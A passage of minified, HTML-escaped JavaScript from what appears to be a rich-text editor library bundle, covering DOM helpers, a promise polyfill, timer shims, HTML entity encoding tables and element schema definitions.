n=e.dom();hr(t,function(e,t){xr(n,t,e)})},Er=function(e,t){var n=e.dom().getAttribute(t);return null===n?undefined:n},Sr=function(e,t){e.dom().removeAttribute(t)},Tr=function(e,t){var n=e.dom();hr(t,function(e,t){!function(e,t,n){if(!S(n))throw V.console.error(&quot;Invalid call to CSS.set. Property &quot;,t,&quot;:: Value &quot;,n,&quot;:: Element &quot;,e),new Error(&quot;CSS value must be a string: &quot;+n);Cr(e)&amp;&amp;e.style.setProperty(t,n)}(n,t,e)})},kr=function(e,t){var n,r,o=e.dom(),i=V.window.getComputedStyle(o).getPropertyValue(t),a=&quot;&quot;!==i||(r=mr(n=e)?n.dom().parentNode:n.dom())!==undefined&amp;&amp;null!==r&amp;&amp;r.ownerDocument.body.contains(r)?i:_r(o,t);return null===a?undefined:a},_r=function(e,t){return Cr(e)?e.style.getPropertyValue(t):&quot;&quot;},Ar=function(){for(var t=[],e=0;e&lt;arguments.length;e++)t[e]=arguments[e];return function(){for(var n=[],e=0;e&lt;arguments.length;e++)n[e]=arguments[e];if(t.length!==n.length)throw new Error(&#039;Wrong number of arguments to struct. Expected &quot;[&#039;+t.length+&#039;]&quot;, got &#039;+n.length+&quot; arguments&quot;);var r={};return z(t,function(e,t){r[e]=q(n[t])}),r}},Rr=function(e,t){for(var n=[],r=function(e){return n.push(e),t(e)},o=t(e);(o=o.bind(r)).isSome(););return n},Dr=function(){return oe.getOrDie(&quot;Node&quot;)},Or=function(e,t,n){return 0!=(e.compareDocumentPosition(t)&amp;n)},Br=function(e,t){return Or(e,t,Dr().DOCUMENT_POSITION_CONTAINED_BY)},Pr=sr,Ir=ur,Lr=function(e,t){var n=e.dom();if(n.nodeType!==Pr)return!1;var r=n;if(r.matches!==undefined)return r.matches(t);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(t);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(t);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(t);throw new Error(&quot;Browser lacks native selectors&quot;)},Fr=function(e){return e.nodeType!==Pr&amp;&amp;e.nodeType!==Ir||0===e.childElementCount},Mr=function(e,t){return e.dom()===t.dom()},zr=or.detect().browser.isIE()?function(e,t){return Br(e.dom(),t.dom())}:function(e,t){var n=e.dom(),r=t.dom();return n!==r&amp;&amp;n.contains(r)},Ur=function(e){return ar.fromDom(e.dom().ownerDocument)},jr=function(e){return ar.fromDom(e.dom().ownerDocument.defaultView)},Vr=function(e){return _.from(e.dom().parentNode).map(ar.fromDom)},Hr=function(e){return _.from(e.dom().previousSibling).map(ar.fromDom)},qr=function(e){return _.from(e.dom().nextSibling).map(ar.fromDom)},$r=function(e){return t=Rr(e,Hr),(n=B.call(t,0)).reverse(),n;var t,n},Wr=function(e){return Rr(e,qr)},Kr=function(e){return W(e.dom().childNodes,ar.fromDom)},Xr=function(e,t){var n=e.dom().childNodes;return _.from(n[t]).map(ar.fromDom)},Yr=function(e){return Xr(e,0)},Gr=function(e){return Xr(e,e.dom().childNodes.length-1)},Jr=(Ar(&quot;element&quot;,&quot;offset&quot;),or.detect().browser),Qr=function(e){return X(e,dr)},Zr={getPos:function(e,t,n){var r,o,i,a=0,u=0,s=e.ownerDocument;if(n=n||e,t){if(n===e&amp;&amp;t.getBoundingClientRect&amp;&amp;&quot;static&quot;===kr(ar.fromDom(e),&quot;position&quot;))return{x:a=(o=t.getBoundingClientRect()).left+(s.documentElement.scrollLeft||e.scrollLeft)-s.documentElement.clientLeft,y:u=o.top+(s.documentElement.scrollTop||e.scrollTop)-s.documentElement.clientTop};for(r=t;r&amp;&amp;r!==n&amp;&amp;r.nodeType;)a+=r.offsetLeft||0,u+=r.offsetTop||0,r=r.offsetParent;for(r=t.parentNode;r&amp;&amp;r!==n&amp;&amp;r.nodeType;)a-=r.scrollLeft||0,u-=r.scrollTop||0,r=r.parentNode;u+=(i=ar.fromDom(t),Jr.isFirefox()&amp;&amp;&quot;table&quot;===lr(i)?Qr(Kr(i)).filter(function(e){return&quot;caption&quot;===lr(e)}).bind(function(o){return Qr(Wr(o)).map(function(e){var t=e.dom().offsetTop,n=o.dom().offsetTop,r=o.dom().offsetHeight;return t&lt;=n?-r:0})}).getOr(0):0)}return{x:a,y:u}}},eo={},to={exports:eo};kn=undefined,_n=eo,An=to,Rn=undefined,function(e){&quot;object&quot;==typeof _n&amp;&amp;void 0!==An?An.exports=e():&quot;function&quot;==typeof kn&amp;&amp;kn.amd?kn([],e):(&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof global?global:&quot;undefined&quot;!=typeof self?self:this).EphoxContactWrapper=e()}(function(){return function i(a,u,s){function c(t,e){if(!u[t]){if(!a[t]){var n=&quot;function&quot;==typeof Rn&amp;&amp;Rn;if(!e&amp;&amp;n)return n(t,!0);if(l)return l(t,!0);var r=new Error(&quot;Cannot find module &#039;&quot;+t+&quot;&#039;&quot;);throw r.code=&quot;MODULE_NOT_FOUND&quot;,r}var o=u[t]={exports:{}};a[t][0].call(o.exports,function(e){return c(a[t][1][e]||e)},o,o.exports,i,a,u,s)}return u[t].exports}for(var l=&quot;function&quot;==typeof Rn&amp;&amp;Rn,e=0;e&lt;s.length;e++)c(s[e]);return c}({1:[function(e,t,n){var r,o,i=t.exports={};function a(){throw new Error(&quot;setTimeout has not been defined&quot;)}function u(){throw new Error(&quot;clearTimeout has not been defined&quot;)}function s(e){if(r===setTimeout)return setTimeout(e,0);if((r===a||!r)&amp;&amp;setTimeout)return r=setTimeout,setTimeout(e,0);try{return r(e,0)}catch(iE){try{return r.call(null,e,0)}catch(iE){return r.call(this,e,0)}}}!function(){try{r=&quot;function&quot;==typeof setTimeout?setTimeout:a}catch(iE){r=a}try{o=&quot;function&quot;==typeof clearTimeout?clearTimeout:u}catch(iE){o=u}}();var c,l=[],f=!1,d=-1;function m(){f&amp;&amp;c&amp;&amp;(f=!1,c.length?l=c.concat(l):d=-1,l.length&amp;&amp;g())}function g(){if(!f){var e=s(m);f=!0;for(var t=l.length;t;){for(c=l,l=[];++d&lt;t;)c&amp;&amp;c[d].run();d=-1,t=l.length}c=null,f=!1,function(e){if(o===clearTimeout)return clearTimeout(e);if((o===u||!o)&amp;&amp;clearTimeout)return o=clearTimeout,clearTimeout(e);try{o(e)}catch(iE){try{return o.call(null,e)}catch(iE){return o.call(this,e)}}}(e)}}function p(e,t){this.fun=e,this.array=t}function h(){}i.nextTick=function(e){var t=new Array(arguments.length-1);if(1&lt;arguments.length)for(var n=1;n&lt;arguments.length;n++)t[n-1]=arguments[n];l.push(new p(e,t)),1!==l.length||f||s(g)},p.prototype.run=function(){this.fun.apply(null,this.array)},i.title=&quot;browser&quot;,i.browser=!0,i.env={},i.argv=[],i.version=&quot;&quot;,i.versions={},i.on=h,i.addListener=h,i.once=h,i.off=h,i.removeListener=h,i.removeAllListeners=h,i.emit=h,i.prependListener=h,i.prependOnceListener=h,i.listeners=function(e){return[]},i.binding=function(e){throw new Error(&quot;process.binding is not supported&quot;)},i.cwd=function(){return&quot;/&quot;},i.chdir=function(e){throw new Error(&quot;process.chdir is not supported&quot;)},i.umask=function(){return 0}},{}],2:[function(e,f,t){(function(n){!function(e){var t=setTimeout;function r(){}function i(e){if(&quot;object&quot;!=typeof this)throw new TypeError(&quot;Promises must be constructed via new&quot;);if(&quot;function&quot;!=typeof e)throw new TypeError(&quot;not a function&quot;);this._state=0,this._handled=!1,this._value=undefined,this._deferreds=[],l(e,this)}function o(n,r){for(;3===n._state;)n=n._value;0!==n._state?(n._handled=!0,i._immediateFn(function(){var e=1===n._state?r.onFulfilled:r.onRejected;if(null!==e){var t;try{t=e(n._value)}catch(iE){return void u(r.promise,iE)}a(r.promise,t)}else(1===n._state?a:u)(r.promise,n._value)})):n._deferreds.push(r)}function a(e,t){try{if(t===e)throw new TypeError(&quot;A promise cannot be resolved with itself.&quot;);if(t&amp;&amp;(&quot;object&quot;==typeof t||&quot;function&quot;==typeof t)){var n=t.then;if(t instanceof i)return e._state=3,e._value=t,void s(e);if(&quot;function&quot;==typeof n)return void l((r=n,o=t,function(){r.apply(o,arguments)}),e)}e._state=1,e._value=t,s(e)}catch(iE){u(e,iE)}var r,o}function u(e,t){e._state=2,e._value=t,s(e)}function s(e){2===e._state&amp;&amp;0===e._deferreds.length&amp;&amp;i._immediateFn(function(){e._handled||i._unhandledRejectionFn(e._value)});for(var t=0,n=e._deferreds.length;t&lt;n;t++)o(e,e._deferreds[t]);e._deferreds=null}function c(e,t,n){this.onFulfilled=&quot;function&quot;==typeof e?e:null,this.onRejected=&quot;function&quot;==typeof t?t:null,this.promise=n}function l(e,t){var n=!1;try{e(function(e){n||(n=!0,a(t,e))},function(e){n||(n=!0,u(t,e))})}catch(r){if(n)return;n=!0,u(t,r)}}i.prototype[&quot;catch&quot;]=function(e){return this.then(null,e)},i.prototype.then=function(e,t){var n=new this.constructor(r);return o(this,new c(e,t,n)),n},i.all=function(e){var s=Array.prototype.slice.call(e);return new i(function(o,i){if(0===s.length)return o([]);var a=s.length;function u(t,e){try{if(e&amp;&amp;(&quot;object&quot;==typeof e||&quot;function&quot;==typeof e)){var n=e.then;if(&quot;function&quot;==typeof n)return void n.call(e,function(e){u(t,e)},i)}s[t]=e,0==--a&amp;&amp;o(s)}catch(r){i(r)}}for(var e=0;e&lt;s.length;e++)u(e,s[e])})},i.resolve=function(t){return t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;t.constructor===i?t:new i(function(e){e(t)})},i.reject=function(n){return new i(function(e,t){t(n)})},i.race=function(o){return new i(function(e,t){for(var n=0,r=o.length;n&lt;r;n++)o[n].then(e,t)})},i._immediateFn=&quot;function&quot;==typeof n?function(e){n(e)}:function(e){t(e,0)},i._unhandledRejectionFn=function(e){&quot;undefined&quot;!=typeof console&amp;&amp;console&amp;&amp;console.warn(&quot;Possible Unhandled Promise Rejection:&quot;,e)},i._setImmediateFn=function(e){i._immediateFn=e},i._setUnhandledRejectionFn=function(e){i._unhandledRejectionFn=e},void 0!==f&amp;&amp;f.exports?f.exports=i:e.Promise||(e.Promise=i)}(this)}).call(this,e(&quot;timers&quot;).setImmediate)},{timers:3}],3:[function(s,e,c){(function(e,t){var r=s(&quot;process/browser.js&quot;).nextTick,n=Function.prototype.apply,o=Array.prototype.slice,i={},a=0;function u(e,t){this._id=e,this._clearFn=t}c.setTimeout=function(){return new u(n.call(setTimeout,window,arguments),clearTimeout)},c.setInterval=function(){return new u(n.call(setInterval,window,arguments),clearInterval)},c.clearTimeout=c.clearInterval=function(e){e.close()},u.prototype.unref=u.prototype.ref=function(){},u.prototype.close=function(){this._clearFn.call(window,this._id)},c.enroll=function(e,t){clearTimeout(e._idleTimeoutId),e._idleTimeout=t},c.unenroll=function(e){clearTimeout(e._idleTimeoutId),e._idleTimeout=-1},c._unrefActive=c.active=function(e){clearTimeout(e._idleTimeoutId);var t=e._idleTimeout;0&lt;=t&amp;&amp;(e._idleTimeoutId=setTimeout(function(){e._onTimeout&amp;&amp;e._onTimeout()},t))},c.setImmediate=&quot;function&quot;==typeof e?e:function(e){var t=a++,n=!(arguments.length&lt;2)&amp;&amp;o.call(arguments,1);return i[t]=!0,r(function(){i[t]&amp;&amp;(n?e.apply(null,n):e.call(null),c.clearImmediate(t))}),t},c.clearImmediate=&quot;function&quot;==typeof t?t:function(e){delete i[e]}}).call(this,s(&quot;timers&quot;).setImmediate,s(&quot;timers&quot;).clearImmediate)},{&quot;process/browser.js&quot;:1,timers:3}],4:[function(e,t,n){var r=e(&quot;promise-polyfill&quot;),o=&quot;undefined&quot;!=typeof window?window:Function(&quot;return this;&quot;)();t.exports={boltExport:o.Promise||r}},{&quot;promise-polyfill&quot;:2}]},{},[4])(4)});var no=to.exports.boltExport,ro=function(e){var n=_.none(),t=[],r=function(e){o()?a(e):t.push(e)},o=function(){return n.isSome()},i=function(e){z(e,a)},a=function(t){n.each(function(e){V.setTimeout(function(){t(e)},0)})};return e(function(e){n=_.some(e),i(t),t=[]}),{get:r,map:function(n){return ro(function(t){r(function(e){t(n(e))})})},isReady:o}},oo={nu:ro,pure:function(t){return ro(function(e){e(t)})}},io=function(e){V.setTimeout(function(){throw e},0)},ao=function(n){var e=function(e){n().then(e,io)};return{map:function(e){return ao(function(){return n().then(e)})},bind:function(t){return ao(function(){return n().then(function(e){return t(e).toPromise()})})},anonBind:function(e){return ao(function(){return n().then(function(){return e.toPromise()})})},toLazy:function(){return oo.nu(e)},toCached:function(){var e=null;return ao(function(){return null===e&amp;&amp;(e=n()),e})},toPromise:n,get:e}},uo={nu:function(e){return ao(function(){return new no(e)})},pure:function(e){return ao(function(){return no.resolve(e)})}},so=function(a,e){return e(function(r){var o=[],i=0;0===a.length?r([]):z(a,function(e,t){var n;e.get((n=t,function(e){o[n]=e,++i&gt;=a.length&amp;&amp;r(o)}))})})},co=function(e){return so(e,uo.nu)},lo=function(n){return{is:function(e){return n===e},isValue:C,isError:b,getOr:q(n),getOrThunk:q(n),getOrDie:q(n),or:function(e){return lo(n)},orThunk:function(e){return lo(n)},fold:function(e,t){return t(n)},map:function(e){return lo(e(n))},mapError:function(e){return lo(n)},each:function(e){e(n)},bind:function(e){return e(n)},exists:function(e){return e(n)},forall:function(e){return e(n)},toOption:function(){return _.some(n)}}},fo=function(n){return{is:b,isValue:b,isError:C,getOr:$,getOrThunk:function(e){return e()},getOrDie:function(){return e=String(n),function(){throw new Error(e)}();var e},or:function(e){return e},orThunk:function(e){return e()},fold:function(e,t){return e(n)},map:function(e){return fo(n)},mapError:function(e){return fo(e(n))},each:o,bind:function(e){return fo(n)},exists:b,forall:C,toOption:_.none}},mo={value:lo,error:fo,fromOption:function(e,t){return e.fold(function(){return fo(t)},lo)}};function go(e,u){var t=e,n=function(e,t,n,r){var o,i;if(e){if(!r&amp;&amp;e[t])return e[t];if(e!==u){if(o=e[n])return o;for(i=e.parentNode;i&amp;&amp;i!==u;i=i.parentNode)if(o=i[n])return o}}};this.current=function(){return t},this.next=function(e){return t=n(t,&quot;firstChild&quot;,&quot;nextSibling&quot;,e)},this.prev=function(e){return t=n(t,&quot;lastChild&quot;,&quot;previousSibling&quot;,e)},this.prev2=function(e){return t=function(e,t,n,r){var o,i,a;if(e){if(o=e[n],u&amp;&amp;o===u)return;if(o){if(!r)for(a=o[t];a;a=a[t])if(!a[t])return a;return o}if((i=e.parentNode)&amp;&amp;i!==u)return i}}(t,&quot;lastChild&quot;,&quot;previousSibling&quot;,e)}}var po,ho,vo,yo=function(t){var n;return function(e){return(n=n||function(e,t){for(var n={},r=0,o=e.length;r&lt;o;r++){var i=e[r];n[String(i)]=t(i,r)}return n}(t,q(!0))).hasOwnProperty(lr(e))}},bo=yo([&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;]),Co=yo([&quot;article&quot;,&quot;aside&quot;,&quot;details&quot;,&quot;div&quot;,&quot;dt&quot;,&quot;figcaption&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;fieldset&quot;,&quot;header&quot;,&quot;hgroup&quot;,&quot;html&quot;,&quot;main&quot;,&quot;nav&quot;,&quot;section&quot;,&quot;summary&quot;,&quot;body&quot;,&quot;p&quot;,&quot;dl&quot;,&quot;multicol&quot;,&quot;dd&quot;,&quot;figure&quot;,&quot;address&quot;,&quot;center&quot;,&quot;blockquote&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;listing&quot;,&quot;xmp&quot;,&quot;pre&quot;,&quot;plaintext&quot;,&quot;menu&quot;,&quot;dir&quot;,&quot;ul&quot;,&quot;ol&quot;,&quot;li&quot;,&quot;hr&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;thead&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;tr&quot;,&quot;td&quot;,&quot;caption&quot;]),xo=function(e){return dr(e)&amp;&amp;!Co(e)},wo=function(e){return dr(e)&amp;&amp;&quot;br&quot;===lr(e)},No=yo([&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;p&quot;,&quot;div&quot;,&quot;address&quot;,&quot;pre&quot;,&quot;form&quot;,&quot;blockquote&quot;,&quot;center&quot;,&quot;dir&quot;,&quot;fieldset&quot;,&quot;header&quot;,&quot;footer&quot;,&quot;article&quot;,&quot;section&quot;,&quot;hgroup&quot;,&quot;aside&quot;,&quot;nav&quot;,&quot;figure&quot;]),Eo=yo([&quot;ul&quot;,&quot;ol&quot;,&quot;dl&quot;]),So=yo([&quot;li&quot;,&quot;dd&quot;,&quot;dt&quot;]),To=yo([&quot;area&quot;,&quot;base&quot;,&quot;basefont&quot;,&quot;br&quot;,&quot;col&quot;,&quot;frame&quot;,&quot;hr&quot;,&quot;img&quot;,&quot;input&quot;,&quot;isindex&quot;,&quot;link&quot;,&quot;meta&quot;,&quot;param&quot;,&quot;embed&quot;,&quot;source&quot;,&quot;wbr&quot;,&quot;track&quot;]),ko=yo([&quot;thead&quot;,&quot;tbody&quot;,&quot;tfoot&quot;]),_o=yo([&quot;td&quot;,&quot;th&quot;]),Ao=yo([&quot;pre&quot;,&quot;script&quot;,&quot;textarea&quot;,&quot;style&quot;]),Ro=function(t){return function(e){return!!e&amp;&amp;e.nodeType===t}},Do=Ro(1),Oo=function(e){var r=e.toLowerCase().split(&quot; &quot;);return function(e){var t,n;if(e&amp;&amp;e.nodeType)for(n=e.nodeName.toLowerCase(),t=0;t&lt;r.length;t++)if(n===r[t])return!0;return!1}},Bo=function(t){return function(e){if(Do(e)){if(e.contentEditable===t)return!0;if(e.getAttribute(&quot;data-mce-contenteditable&quot;)===t)return!0}return!1}},Po=Ro(3),Io=Ro(8),Lo=Ro(9),Fo=Ro(11),Mo=Oo(&quot;br&quot;),zo=Bo(&quot;true&quot;),Uo=Bo(&quot;false&quot;),jo={isText:Po,isElement:Do,isComment:Io,isDocument:Lo,isDocumentFragment:Fo,isBr:Mo,isContentEditableTrue:zo,isContentEditableFalse:Uo,isRestrictedNode:function(e){return!!e&amp;&amp;!Object.getPrototypeOf(e)},matchNodeNames:Oo,hasPropValue:function(t,n){return function(e){return Do(e)&amp;&amp;e[t]===n}},hasAttribute:function(t,e){return function(e){return Do(e)&amp;&amp;e.hasAttribute(t)}},hasAttributeValue:function(t,n){return function(e){return Do(e)&amp;&amp;e.getAttribute(t)===n}},matchStyleValues:function(r,e){var o=e.toLowerCase().split(&quot; &quot;);return function(e){var t;if(Do(e))for(t=0;t&lt;o.length;t++){var n=e.ownerDocument.defaultView.getComputedStyle(e,null);if((n?n.getPropertyValue(r):null)===o[t])return!0}return!1}},isBogus:function(e){return Do(e)&amp;&amp;e.hasAttribute(&quot;data-mce-bogus&quot;)},isBogusAll:function(e){return Do(e)&amp;&amp;&quot;all&quot;===e.getAttribute(&quot;data-mce-bogus&quot;)},isTable:function(e){return Do(e)&amp;&amp;&quot;TABLE&quot;===e.tagName}},Vo=function(e){return e&amp;&amp;&quot;SPAN&quot;===e.tagName&amp;&amp;&quot;bookmark&quot;===e.getAttribute(&quot;data-mce-type&quot;)},Ho=function(e,t){var n,r=t.childNodes;if(!jo.isElement(t)||!Vo(t)){for(n=r.length-1;0&lt;=n;n--)Ho(e,r[n]);if(!1===jo.isDocument(t)){if(jo.isText(t)&amp;&amp;0&lt;t.nodeValue.length){var o=Xt.trim(t.nodeValue).length;if(e.isBlock(t.parentNode)||0&lt;o)return;if(0===o&amp;&amp;(a=(i=t).previousSibling&amp;&amp;&quot;SPAN&quot;===i.previousSibling.nodeName,u=i.nextSibling&amp;&amp;&quot;SPAN&quot;===i.nextSibling.nodeName,a&amp;&amp;u))return}else if(jo.isElement(t)&amp;&amp;(1===(r=t.childNodes).length&amp;&amp;Vo(r[0])&amp;&amp;t.parentNode.insertBefore(r[0],t),r.length||To(ar.fromDom(t))))return;e.remove(t)}var i,a,u;return t}},qo={trimNode:Ho},$o=Xt.makeMap,Wo=/[&amp;&lt;&gt;\&quot;\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Ko=/[&lt;&gt;&amp;\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,Xo=/[&lt;&gt;&amp;\&quot;\&#039;]/g,Yo=/&amp;#([a-z0-9]+);?|&amp;([a-z0-9]+);/gi,Go={128:&quot;\u20ac&quot;,130:&quot;\u201a&quot;,131:&quot;\u0192&quot;,132:&quot;\u201e&quot;,133:&quot;\u2026&quot;,134:&quot;\u2020&quot;,135:&quot;\u2021&quot;,136:&quot;\u02c6&quot;,137:&quot;\u2030&quot;,138:&quot;\u0160&quot;,139:&quot;\u2039&quot;,140:&quot;\u0152&quot;,142:&quot;\u017d&quot;,145:&quot;\u2018&quot;,146:&quot;\u2019&quot;,147:&quot;\u201c&quot;,148:&quot;\u201d&quot;,149:&quot;\u2022&quot;,150:&quot;\u2013&quot;,151:&quot;\u2014&quot;,152:&quot;\u02dc&quot;,153:&quot;\u2122&quot;,154:&quot;\u0161&quot;,155:&quot;\u203a&quot;,156:&quot;\u0153&quot;,158:&quot;\u017e&quot;,159:&quot;\u0178&quot;};ho={&#039;&quot;&#039;:&quot;&amp;quot;&quot;,&quot;&#039;&quot;:&quot;&amp;#39;&quot;,&quot;&lt;&quot;:&quot;&amp;lt;&quot;,&quot;&gt;&quot;:&quot;&amp;gt;&quot;,&quot;&amp;&quot;:&quot;&amp;amp;&quot;,&quot;`&quot;:&quot;&amp;#96;&quot;},vo={&quot;&amp;lt;&quot;:&quot;&lt;&quot;,&quot;&amp;gt;&quot;:&quot;&gt;&quot;,&quot;&amp;amp;&quot;:&quot;&amp;&quot;,&quot;&amp;quot;&quot;:&#039;&quot;&#039;,&quot;&amp;apos;&quot;:&quot;&#039;&quot;};var Jo=function(e,t){var n,r,o,i={};if(e){for(e=e.split(&quot;,&quot;),t=t||10,n=0;n&lt;e.length;n+=2)r=String.fromCharCode(parseInt(e[n],t)),ho[r]||(o=&quot;&amp;&quot;+e[n+1]+&quot;;&quot;,i[r]=o,i[o]=r);return i}};po=Jo(&quot;50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro&quot;,32);var Qo=function(e,t){return e.replace(t?Wo:Ko,function(e){return ho[e]||e})},Zo=function(e,t){return e.replace(t?Wo:Ko,function(e){return 1&lt;e.length?&quot;&amp;#&quot;+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+&quot;;&quot;:ho[e]||&quot;&amp;#&quot;+e.charCodeAt(0)+&quot;;&quot;})},ei=function(e,t,n){return n=n||po,e.replace(t?Wo:Ko,function(e){return ho[e]||n[e]||e})},ti={encodeRaw:Qo,encodeAllRaw:function(e){return(&quot;&quot;+e).replace(Xo,function(e){return ho[e]||e})},encodeNumeric:Zo,encodeNamed:ei,getEncodeFunc:function(e,t){var n=Jo(t)||po,r=$o(e.replace(/\+/g,&quot;,&quot;));return r.named&amp;&amp;r.numeric?function(e,t){return e.replace(t?Wo:Ko,function(e){return ho[e]!==undefined?ho[e]:n[e]!==undefined?n[e]:1&lt;e.length?&quot;&amp;#&quot;+(1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320)+65536)+&quot;;&quot;:&quot;&amp;#&quot;+e.charCodeAt(0)+&quot;;&quot;})}:r.named?t?function(e,t){return ei(e,t,n)}:ei:r.numeric?Zo:Qo},decode:function(e){return e.replace(Yo,function(e,t){return t?65535&lt;(t=&quot;x&quot;===t.charAt(0).toLowerCase()?parseInt(t.substr(1),16):parseInt(t,10))?(t-=65536,String.fromCharCode(55296+(t&gt;&gt;10),56320+(1023&amp;t))):Go[t]||String.fromCharCode(t):vo[e]||po[e]||(n=e,(r=ar.fromTag(&quot;div&quot;).dom()).innerHTML=n,r.textContent||r.innerText||n);var n,r})}},ni={},ri={},oi=Xt.makeMap,ii=Xt.each,ai=Xt.extend,ui=Xt.explode,si=Xt.inArray,ci=function(e,t){return(e=Xt.trim(e))?e.split(t||&quot; &quot;):[]},li=function(e){var u,t,n,r,o,i,s={},a=function(e,t,n){var r,o,i,a=function(e,t){var n,r,o={};for(n=0,r=e.length;n&lt;r;n++)o[e[n]]=t||{};return o};for(t=t||&quot;&quot;,&quot;string&quot;==typeof(n=n||[])&amp;&amp;(n=ci(n)),r=(e=ci(e)).length;r--;)i={attributes:a(o=ci([u,t].join(&quot; &quot;))),attributesOrder:o,children:a(n,ri)},s[e[r]]=i},c=function(e,t){var n,r,o,i;for(n=(e=ci(e)).length,t=ci(t);n--;)for(r=s[e[n]],o=0,i=t.length;o&lt;i;o++)r.attributes[t[o]]={},r.attributesOrder.push(t[o])};return ni[e]?ni[e]:(u=&quot;id accesskey class dir lang style tabindex title role&quot;,t=&quot;address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul&quot;,n=&quot;a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd label map noscript object q s samp script select small span strong sub sup textarea u var #text #comment&quot;,&quot;html4&quot;!==e&amp;&amp;(u+=&quot; contenteditable contextmenu draggable dropzone hidden spellcheck translate&quot;,t+=&quot; article aside details dialog figure main header footer hgroup section nav&quot;,n+=&quot; audio canvas command datalist mark meter output picture progress time wbr video ruby bdi keygen&quot;),&quot;html5-strict&quot;!==e&amp;&amp;(u+=&quot; xml:lang&quot;,n=[n,i=&quot;acronym applet basefont big font strike tt&quot;].join(&quot; &quot;),ii(ci(i),function(e){a(e,&quot;&quot;,n)}),t=[t,o=&quot;center dir isindex noframes&quot;].join(&quot; &quot;),r=[t,n].join(&quot; &quot;),ii(ci(o),function(e){a(e,&quot;&quot;,r)})),r=r||[t,n].join(&quot; &quot;),a(&quot;html&quot;,&quot;manifest&quot;,&quot;head body&quot;),a(&quot;head&quot;,&quot;&quot;,&quot;base command link meta noscript script style title&quot;),a(&quot;title hr noscript br&quot;),a(&quot;base&quot;,&quot;href target&quot;),a(&quot;link&quot;,&quot;href rel media hreflang type sizes hreflang&quot;),a(&quot;meta&quot;,&quot;name http-equiv content charset&quot;),a(&quot;style&quot;,&quot;media type scoped&quot;),a(&quot;script&quot;,&quot;src async defer type 